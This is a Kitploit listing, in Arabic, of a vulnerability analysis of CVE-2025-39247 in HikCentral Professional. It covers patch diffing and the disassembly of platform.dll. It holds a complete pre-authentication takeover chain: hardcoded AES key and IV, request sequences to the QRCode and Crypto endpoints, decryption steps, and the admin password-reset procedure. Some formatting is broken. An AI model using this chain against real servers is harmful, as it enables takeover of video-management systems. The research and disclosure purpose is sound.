Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-39247 — HikCentral Professional - تسريب ActiveCode الرخصة قبل المصادقة | Kitploit
أدوات/GitHubGitHub/sita-technologies/cve-2025-39247
الاستطلاعتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةجمع المعلوماتأمن الويبالتشفيراختبار الاختراقتحليل الملفات الثنائية
GitHubsita-technologies/cve-2025-39247

CVE-2025-39247

HikCentral Professional - تسريب ActiveCode الرخصة قبل المصادقة

4منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2025-39247

  • الهدف: HikCentral Professional (HCMP، خادم VMS مركزي)
  • CVE: CVE-2025-39247 — ثغرة في التحكم بالوصول
  • CVSS 3.1: 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
  • المتأثر: V2.3.1 – V2.6.2 و V3.0.0
  • المُعالَج: V2.6.3 / V3.0.1 / حزمة الإصلاح CVE-2025-39247
  • تاريخ الإفصاح: 2025-08-28
  • تاريخ التحليل: 2026-05-21

1. مرحلة جمع المعلومات مفتوحة المصدر

قبل تنزيل أي شيء، ما هو متاح للعموم بالفعل:

المصدرما يخبرنا به
نشرة أمان Hikvision"فحوصات مصادقة مفقودة على نقاط النهاية API"، نصيحة بالترقية إلى V2.6.3 / V3.0.1
NVD CVE-2025-39247مقاييس CVSS؛ المتجه شبكي، لا مصادقة، نطاق متغير، سرية عالية
ملخصات Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynewsجميعها تعيد صياغة النشرة؛ لا تفاصيل فنية، ولا PoC، ولا نقطة نهاية متأثرة مسماة
مجمعات PoC على GitHub (poc-in-github, 0xMarcio/cve, إلخ)لا يوجد PoC مفهرس
المنتديات (ipcamtalk, cctvforum, reddit)، مفهرسات التورنتلا PoC، ولا مُثبّتات مسربة؛ في ipcamtalk يوجد موضوع حول استخدام HikCentral لكن لا شيء متعلق بالاستغلال

إذاً، حتى تاريخ التحليل، لا يوجد أي مستند فني عام يكشف الثغرة. أي عملية إعادة إنتاج تبدأ من المقارنة الثنائية.


2. الاستحواذ

2.1 المُثبّت المتأثر (حزمة V2.6.2 الكاملة)

بعد نشر CVE-2025-39247 تم إلغاء إدراج صفحة تنزيل V2.6.2، لكن الملف على CDN لم يُحذف أبداً. يمكن استرداد اسم الملف من مرآة خارجية قامت بفهرسة الصفحة قبل الإلغاء (FileHorse — نشر اسم الملف وMD5). بهذا الاسم، يكفي طلب GET بسيط إلى CDN الخاص بـ Hikvision — باستخدام User-Agent عادي للمتصفح ورأس Referer مطابق — ليبقى الملف متاحاً.```bash curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"

root@kitploit:~
النتيجة:
- الحجم: 1,314,043,792 بايت (1.22 جيجابايت)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — يطابق القيمة المنشورة من FileHorse، مما يؤكد أن المثبت موقع من Hikvision (وليس إعادة حزم من طرف ثالث)
- رؤوس استجابة CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (حوالي 29 يومًا في ذاكرة التخزين المؤقت للحافة لـ Tencent EdgeOne دون إخلاء)

**ملاحظة جانبية تستحق الإبلاغ إلى Hikvision PSIRT:** إن "إزالة القائمة" لصفحة V2.6.2 هي تجميلية. الملف المهجور يمكن الوصول إليه على CDN دون مصادقة ودون بوابة URL موقعة. الحزم الكاملة V2.5.1 و V2.6.0 تستجيب بنفس الطريقة.

### 2.2 المثبت المصحح (الحزمة الأساسية V2.6.3)

مرتبط حاليًا من صفحة تنزيل V2.6.3؛ نفس طريقة الاسترجاع:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
  • الحجم: 932,813,264 بايت (890 MB)
  • آخر تعديل: 2025-08-28 (تاريخ الكشف عن CVE)

2.3 حزمة الإصلاح

لا يزال مرتبطًا من صفحة تنزيل V2.6.2 (تريد Hikvision من المستخدمين تطبيقه):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe

root@kitploit:~
- الحجم: 32,599,504 بايت (31 ميجابايت)

---

## 3. الاستخراج الثابت

جميع الثلاثة عبارة عن أغلفة PE من نمط InstallShield. يقوم `7z` بتقشيرها في خطوتين:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>

# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
  for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
    sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
    7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
  done
done

كلا المثبتين يتوسعان إلى حوالي أربعة وعشرين أرشيف حمولة مُسمى. تكشف أدلة المستوى الأعلى عن البنية:

الأهم من ذلك، لا توجد ملفات JARs/WARs لجافا في أي مكان. الخلفية هي C++ على Nginx — مهم لأنه يخبرك مقدمًا أن أي ثغرة في المصادقة ستكون في الثنائيات المُجمّعة، وليس في كود بايت WAR/JAR حيث يكون فك التجميع تافهًا.


4. الفرق على مستوى الملف```python

Build inventories

for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt

Sets: common-path + different MD5 → the patched files

v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]

root@kitploit:~
النتيجة: 239 ملفًا تم تغييرها في المسارات الشائعة. التوزيع:

| الجرافة | العدد | ملاحظة |
|---|---|---|
| `246/www/*.js` (أجزاء واجهة الويب) | ~200 | في الغالب تجزئة أصول محدثة الإصدار؛ تجاهل |
| `246/Nginx/conf/nginx_location.conf` | **1** | **فرق ملف تكوين Nginx أحادي الملف — ابدأ من هنا** |
| `246/Nginx*/install.bat` | 6 | نصوص التثبيت، غير متعلقة |
| `244/bin/*.{exe,dll}` | 6 | ثنائيات أصلية (`DistributionFilter.dll`, `FilterChain.dll`, أدوات الوسائط) |
| `282/*.{exe,dll}` | 55 | خدمات التطبيق (أكبر مجموعة — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | إعادة بناء Postgres، غير متعلقة |
| `284/hplugin/dahua_plugin/*` | 4 | تحديث SDK المورد (+10.97 MB) — غير متعلقة |
| `284/hplugin/onvif_plugin/*` | 4 | تحديث SDK المورد (+0.99 MB) — غير متعلقة |
| upgrade/uninstall stubs, crash reporters | ~30 | إعادة بناء طوابع زمنية PE بنفس الحجم، تجاهل |

بعد تصفية تحديث SDK المورد، وانجراف الطوابع الزمنية لنظام البناء، والارتفاعات التجميلية البحتة للأصول، فإن الفروقات *الفعلية* ذات الصلة بالأمن تقل إلى:

- ملف تكوين Nginx واحد
- عدد صغير من الثنائيات C++ في `282/` (أبرزها `platform.dll`، خدمة الخلفية HCMP، +57 KB)

---

## 5. فرق Nginx: موقع الخلل بدون تكلفة

`diff -u nginx_location.conf` بين V2.6.2 و V2.6.3 ينتج بالضبط رقعة واحدة: كتلة `location =` جديدة تمامًا في V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码                   ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
    if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
    if ($allowed != "1")   { return 403; }
    if ($scheme = "http")  { proxy_pass http://http_backend;  }
    if ($scheme = "https") { proxy_pass http://http2_backend; }
}

هذه الإضافة المكونة من 21 سطرًا هي التصحيح الكامل لـ CVE-2025-39247 على مستوى البوابة الأمامية، وهي تخبرك بكل شيء:

  • نقطة النهاية: PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword
  • فئة الخلل: في الإصدار V2.6.2، يمر الطلب عبر توجيه الوكيل الشامل /ISAPI/Bumblebee/Platform/V0/* إلى الواجهة الخلفية بدون تقييد لعنوان البعيد وبدون فحص مصادقة على مستوى Nginx.
  • دلالات الواجهة الخلفية: المعالج موجود لتعيين كلمة المرور الافتراضية للمسؤول أثناء التثبيت (أي يثق أن المتصل هو المثبت المحلي)؛ التصحيح يجعل هذه الثقة صريحة.

التعليق الصيني مهم: ترجمته الحرفية هي "منع إعادة تعيين كلمة المرور من غير 127.0.0.1/::1".


6. شكل الطلب من واجهة المستخدم للويب

JavaScript واجهة المستخدم للويب (مصغرة، في 246/www/Portal/*.js) تستدعي نقطة النهاية كالتالي:```js // API definition (de-minified): changeDefaultUserPassword: function (sid, payload, opts) { return http.put({ url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword", data: { ChangeDefaultUserPasswordRequest: payload }, params: { SID: sid } }, opts); }

// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);

// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }

root@kitploit:~
لذا حتى قبل تفكيك أي شيء، يمنحك JavaScript المواجه للعموم الشكل الكامل للأسلاك. لكنه يكشف أيضًا الجزء المحرج: يحتاج جسم الطلب **إما `ActiveCode` صالحًا أو إجابات `QuestionList` صحيحة**. إرسال قيم فارغة لا يعمل — يرفض الخلفي مع أحد الأخطاء الموثقة (تم التحقق منه بواسطة استخراج النصوص من `platform.dll`، §7).

لذا فإن CVE-2025-39247 **ليس** عبارة عن "نقطة النهاية هي تجاوز المصادقة؛ أرسل حقولًا فارغة وتتغير كلمة المرور". بل هو "نقطة النهاية *تثق بمتصل محلي فقط* ليكون لديه بالفعل ActiveCode الصحيح؛ الخلل هو أن بوابة localhost على مستوى الشبكة مفقودة، لذا فإن أي *متصل عن بُعد* يمكنه *أيضًا* توفير ActiveCode صالح أو QuestionList ينجح." وبالتالي فإن لغز الاستغلال الحقيقي هو: من أين يأتي ActiveCode أو QuestionList؟

## 7. معالج الخلفي — استخراج النصوص من `platform.dll`

`platform.dll` هي خدمة الخلفية لـ HCMP، بحجم 46.87 ميجابايت في الإصدار V2.6.2، و46.93 ميجابايت في الإصدار V2.6.3 (+57 كيلوبايت). جميع سلاسل التوجيه، وسلاسل تنسيق السجل، وسلاسل RTTI و `__FUNCTION__` الخاصة بـ C++ موجودة بشكل واضح.

السلاسل داخل `platform.dll` حول المعالج:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer

[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].

كلا الإصدارين من platform.dll يحتويان على هذه السلاسل. لذا فإن منطق التحقق موجود أيضًا في الإصدار V2.6.2 — يتم التحقق من ActiveCode و QuestionList فعلًا.

7.1 ما الجديد في الإصدار V2.6.3 في هذا المعالج؟ (بصمات دفاع متعمّقة)

السلاسل الموجودة في platform.dll للإصدار V2.6.3 و غير الموجودة في الإصدار V2.6.2:```

An entirely new C++ class — rate-limit / lockout subsystem:

VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d

Application-level remote-addr literal:

127.0.0.1

Literal "admin" appearing twice near the handler:

admin

Token validation:

VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s

Lockout/throttle response fields:

/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType

root@kitploit:~
الترجمة: لم يكن لدى الإصدار V2.6.2 **أي** حد لمعدل الطلبات على مسار التحقق من `ChangeDefaultUserPassword`. المهاجم الذي يقدم رمز ActiveCode خاطئ أو إجابات خاطئة لأسئلة الأمان يتلقى خطأ فقط ويمكنه إعادة المحاولة إلى أجل غير مسمى. سلسلة تنسيق رمز التحقق `%06d` موجودة أيضًا في `platform.dll` (إلى جانب مخطط SQL `verify_code VARCHAR(64)`)، مما يؤكد أن رمز التحقق عبر البريد الإلكتروني هو **رقم عشري مكون من 6 أرقام**، ومساحة البحث 10⁶.

هذا بالفعل استغلال قابل للتطبيق (المسار أ): تشغيل `SendVerifyCode`، ثم تخمين شامل لـ 10⁶ رمز داخل نافذة الصلاحية دون أي إقفال. عند 1000 طلب/ثانية، متوسط الوقت حتى النجاح ≈ 8 دقائق. ولكن هناك مسار أكثر حدة.

---

## 8. سطح كشف المعلومات قبل المصادقة

يكشف تعداد نقاط النهاية في `platform.dll` عن عدة نقاط شقيقة تبدو ذات صلة:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode

لا شيء من هذه مُقيَّد بواسطة nginx_location.conf؛ جميعها تمر عبر نفس الوكيل الافتراضي /ISAPI/Bumblebee/Platform/*. تُظهر سلاسل المعالج ما تُرجعه:``` /ResponseStatus/Data/UserRetrieveStateInfo/Info/Email /ResponseStatus/Data/UserRetrieveStateInfo/Info/Name /ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType /ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout /ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted /ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted /ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve

root@kitploit:~
لذا فإن `RetrieveStateInfo(Name=admin)` يُرجع البريد الإلكتروني للمسؤول، وما إذا كان استرداد كلمة المرور عبر الأسئلة الأمنية مُهيأً، وما إذا كان استرداد كلمة المرور عبر البريد الإلكتروني مُهيأً، والعمر المتبقي لأي رمز تحقق قيد التنفيذ — لأي مستخدم، بدون مصادقة.

ليس `RetrieveStateInfo` محميًا بواسطة التصحيح V2.6.3. لا يزال تسرب المعلومات قائمًا في الإصدار V2.6.3.

---

## 9. سطح الهجوم المتعلق بالترخيص/رمز الاستجابة السريعة

النقطة النهائية `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` لافتة للنظر لأن اسمها يقرن *الترخيص* مع *رمز النشاط* — ومعالج إعادة تعيين كلمة المرور يقبل أيضًا حقل `ActiveCode`. هذا تداخل مشبوه في المصطلحات.

السلاسل النصية التي يمكن الوصول إليها من خلال هذا المعالج:```
License:%s;DZP:%s                                    ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s           ← AES path used to encrypt
[%s]Base64Encode failed! data:%s                     ← then base64
/ResponseStatus/Data/QRCode                          ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s

إذن رمز QR هو Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) والنص العادي يحتوي حرفيًا على رمز التفعيل الخاص بالتثبيت ActiveCode الذي يقوم نقطة نهاية إعادة تعيين كلمة المرور بالتحقق منه. يتم تغليف رمز QR في قالب URL https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> ثم يتم تحويله إلى صورة PNG للرمز QR؛ وصورة PNG هي ما يرجعه حقل استجابة JSON Data.QRCode.

التأكيد من خلال فرق الإصدار V2.6.3: سلسلة التنسيق License:%s;DZP:%s موجودة في V2.6.2 platform.dll وتم إزالتها في V2.6.3. نقطة نهاية رمز QR نفسها، ورمز الدالة PrivateAESEncrptQRCode، والقيمة الابتدائية IV (§10) كلها لا تزال موجودة في V2.6.3 — فقط تنسيق النص العادي المسرب تم إزالته. هذا بالضبط ما تتوقعه من إصلاح Hikvision.


10. استعادة مفتاح AES والقيمة الابتدائية IV عن طريق التفكيك

هذه هي الخطوة الثقيلة العمل. الخطة:

  1. ابحث عن الدالة VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode في platform.dll.
  2. اقرأ إعدادها للمفتاح + القيمة الابتدائية IV.
  3. إما أن يكون كلاهما بايتات حرفية يمكنك قراءتها مباشرة، أو يتم حسابهما — وفي هذه الحالة تابع الحساب.

10.1 تحديد موقع الدالة

سلسلة تنسيق الخطأ [%s]PrivateAESEncrptQRCode failed! data:%s موجودة في .rdata. ابحث عن عنوان VMA الخاص بها في .rdata، ثم امسح .text بحثًا عن تعليمات lea r, [rip + rel32] التي تحل إلى ذلك العنوان VMA. (بالنسبة لـ 16 ميغابايت من .text، يستغرق ذلك بضع ثوانٍ باستخدام pefile + capstone للقيام بالمسح الخطي لنمط REX.W + 8D + MODRM mod=00 rm=101.)

يتم الرجوع إلى سجل الخطأ من تعليمة واحدة بالضبط عند 0x1812553f7. بالانتقال إلى الدالة المحيطة عبر .pdata (جدول التراجع PE x64 — رأس المقطع قابل للتحليل باستخدام pefile، اثنا عشر بايت لكل إدخال RUNTIME_FUNCTION: start_RVA، end_RVA، unwind_RVA) نحصل على معالج ISAPI الخارجي CLicenseISAPIComm::ActiveCodeQRcode عند 0x181254cc0..0x181255919.

تلك الدالة الخارجية تبني سلسلة النص العادي "License:%s;DZP:%s" وتقوم بتشفير النتيجة base64؛ استدعاء AES الفعلي يكون في دالة مساعدة على مستوى واحد أقل، عند 0x18002a397 (يتم حلها عبر jmp thunk إلى دالة بحجم 502 بايت يكون سلسلة RTTI الخاصة بها VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — تم تأكيدها من خلال cross-reference السلسلة).

10.2 داخل الغلاف AES عند 0x1807d33e0

تفكيك الجسم بحجم 502 بايت وسرد كل تعليمة lea r, [rip + rel32] التي يقع هدفها في .rdata يعيد فقط 5 مراجع سلسلة:``` 0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols 0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp' 0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode' 0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]' 0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'

root@kitploit:~
الإدخال الأول هو مرجع السلسلة الوحيد بطول 16 بايت. هذا الطول مريب: كتلة AES / المفتاح / IV كلها 16 بايت لـ AES-128. النص الحرفي `AaBbCcDd1234!@#$` — ثمانية أزواج من الحروف المتناوبة بين الكبيرة والصغيرة متبوعة بـ `1234!@#$` — هو أيضًا الشكل النصي "ثابت مكان المطور" (مشابه للاصطلاحات ASCII *الحقيقية* `BAADF00D` / `DEADBEEF`). في هذه المرحلة، الفرضية المعقولة هي "هذا هو IV".

هذه الفرضية مدعومة بسياق التفكيك. تسلسل التعليمات حول مرجع السلسلة:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov  dword ptr [rsp + 0x100], 5             ; some flag = 5
lea  rdx, [rip + 0x1837cd7]                 ; <— loads "AaBbCcDd1234!@#$"
lea  rcx, [rsp + 0xe0]                      ; destination
call <thunk>                                ; std::string assign-like; copies 16B into [rsp+0xe0]
mov  dword ptr [rsp + 0x104], 1
lea  rdx, [rsp + 0xa0]                      ; pass: rdx = key  (16B at [rsp+0xa0])
lea  rcx, [rsp + 0x60]                      ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563>       ; → 0x181b03790, a generic AES mode-dispatcher
                                            ;   that imports AES_cbc_encrypt, AES_cfb128_encrypt,
                                            ;   AES_ecb_encrypt and AES_ofb128_encrypt.
                                            ;   QR path takes the AES_cbc_encrypt branch.

لذا [rsp+0xe0] ينتهي به الأمر بحمل بايتات IV، بينما يحمل [rsp+0xa0] 16 بايتًا تم بناؤها سابقًا في [rsp+0xc0] (المفتاح)، ثم يتم تمرير هذين المخزنين المؤقتين إلى غلاف OpenSSL. تأكيد استعادة IV هو مجرد مسألة تدقيق متقاطع: لا يزال platform.dll الخاص بالإصدار V2.6.3 يحتوي على النص الحرفي AaBbCcDd1234!@#$ في نفس الإزاحة — لم تقم Hikvision بتدوير IV، وهو الاختيار التشفيري الصحيح (فقط المفتاح يحتاج إلى أن يكون سريًا، بينما IV يحتاج إلى أن يكون فريدًا لكل رسالة، لكن IV ثابت هو "ضعيف" وليس "مكسور" بالطريقة التي يكون بها المفتاح الثابت "مكسورًا").

10.3 بناء المفتاح

فوق stringref IV مباشرةً، يقوم الغلاف بإعداد المفتاح بهذا التسلسل القصير:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]

root@kitploit:~
ثم تفكيك `0x1807d19b0`: إنها *دالة اشتقاق مفتاح حسابية بحتة*. تأخذ بايت واحد كمدخل (`0x41`)، تخصص 16 بايت في المكدس، وتكتب 16 قيمة كل منها محسوبة كـ `seed + offset_i` لتسلسل ثابت من 16 إزاحة مُوقّعة:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D

باستخدام البذرة 0x41 ('A'):

10.4 المواد المشفرة المستردة```

Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$

root@kitploit:~
نفس العائلة الحسابية. نفس البايتات الثمانية الختامية (`1234!@#$`). كلاهما ثوابت مضمنة ثنائية متطابقة عبر كل تثبيت للإصدار V2.6.2 (وعبر الإصدارات V2.3.1 .. V2.6.2 و V3.0.0 — فهي تشترك في مسار تشفير QR)، لذا فإن استردادًا لمرة واحدة من نسخة واحدة من `platform.dll` يكفي لفك تشفير رمز QR من أي خادم HCMP ضعيف على الشبكة.

---

## 11. السلسلة من النهاية إلى النهاية

تنقسم السلسلة بوضوح إلى نصفين:

- **النصفان 1-3** هما مشكلة **كشف معلومات** غير مصادق عليها في HCMP. يتم تشغيلهما ضد الهدف باستخدام طلبين للقراءة فقط ويستعيدان سرًا لكل تثبيت (رمز التفعيل النشط License ActiveCode) من نقطة نهاية ما قبل تسجيل الدخول.
- **النصفان 4-5** هما **الاستيلاء** الذي يتم عن طريق إرسال رمز التفعيل النشط المسترد إلى سير عمل "نسيت كلمة المرور" الشرعي لـ HCMP عبر واجهة الويب العادية. لا حاجة لطلب HTTP خاص — حيث ينقر المشغل على نفس النموذج الذي قد ينقر عليه المستخدم الشرعي.

الانقسام مهم: فهو يسمح بتنفيذ PoC المرجعي كأداة استطلاع نقية بدون أي مسار تعليمات برمجية مدمرة فيه (يظل سير عمل واجهة المستخدم مع بقاء الإنسان في الحلقة).```
HALF 1 — automated recon (recovers the ActiveCode):

1. POST  /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET   (empty body)
         (unauthenticated, read-only)
         → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
         → SID is a server-issued anonymous session token used by step 2.

2. POST  /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
         (empty body, unauthenticated, read-only)
         → ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
         The QR's payload is the URL template
             https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
         where  <b64> = base64(
                          AES-128-CBC-PKCS7(
                            KEY = WwXxYyZz1234!@#$,
                            IV  = AaBbCcDd1234!@#$,
                            PT  = "License:<code>[,<code>...];DZP:<devicecode>"))
         The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
         (one per licensed module on the target). Any single ActiveCode in
         that list is accepted by the takeover workflow in HALF 2.

3. Locally:
     a. base64-decode the QRCode field → PNG bytes
     b. decode the QR (e.g. pyzbar)     → URL string
     c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
        base64 character that must survive verbatim)
     d. base64-decode                   → 16N bytes of AES ciphertext
     e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
     f. split on  "License:" / "," / ";DZP:"
     → list of ActiveCodes in plaintext.

HALF 2 — manual takeover via the legitimate Web UI:

4. Open  https://<target>:<port>  in a browser.
5. Click «Forgot password».
6. Username                 →  admin
7. Recovery method          →  «Activation code»  (NOT email / questions)
8. Activation code          →  <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.

لا يوجد هجوم بالقوة الغاشمة، ولا هندسة اجتماعية، ولا معرفة مسبقة باستثناء زوج KEY+IV المكون من 16 بايت والذي يمكن استعادته مرة واحدة من ملف platform.dll لإصدار V2.6.2 وهو متطابق عبر كل تثبيت لكل إصدار ضعيف. يتم تنفيذ النصفين 4-10 يدويًا بواسطة المشغل عبر واجهة المستخدم الشرعية — لا يوجد مكافئ آلي في PoC المرجعي.

التنفيذ: poc/cve_2025_39247_poc.py — وهي أداة استطلاعية فقط مكتوبة بلغة Python. تقوم بتنفيذ النصف 1 (طلبين POST للقراءة فقط قبل المصادقة) ثم تطبع الوصفة اليدوية (الخطوات 4-10) مع عنوان URL الهدف للمشغل و ActiveCode(s) المستردة مملوءة. لا يحتوي السكريبت على أي كود يكتب إلى الهدف؛ يتم تنفيذ النصف 2 يدويًا عبر واجهة الويب بحيث تظل الأداة أداة تحقق بدلاً من سلاح إطلاق ونسيان.

تشغيل:```bash python3 poc/cve_2025_39247_poc.py https://:

root@kitploit:~
يسمح علمان `--qr-*` للبرنامج النصي بالعمل بالكامل دون اتصال بالإنترنت ضد QR ممسوك (للتحليل دون إعادة استهداف):
- `--qr-scanned-text '<value>'` — الصق النص المحتوى من QR ممسوح ضوئيًا
- `--qr-ciphertext-hex <hex>`  — تغذية نص مشفر AES مستخرج مسبقًا ومفكوك ترميز base64

---

## 12. ما الذي غيره الإصدار V2.6.3 (وحزمة الإصلاح) فعليًا

| الدفاع | V2.6.2 | V2.6.3 | حزمة الإصلاح على V2.6.2 |
|---|---|---|---|
| تقييد remote-addr في Nginx على `ChangeDefaultUserPassword` | غائب | **مُضاف** | **مُضاف** (عبر برنامج InstallShield النصي في ملف EXE لحزمة الإصلاح — مؤكد بواسطة السلاسل النصية `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` داخل محرك تثبيت حزمة الإصلاح) |
| فحص حرفي `127.0.0.1` على مستوى التطبيق في المعالج | غائب | **مُضاف** | لم يُضاف (حزمة الإصلاح لا تصحح `platform.dll`) |
| قفل لكل حساب (`CRetrievePwdByQuesFreezeManager`) | غائب | **مُضاف (للمسؤول فقط)** | لم يُضاف |
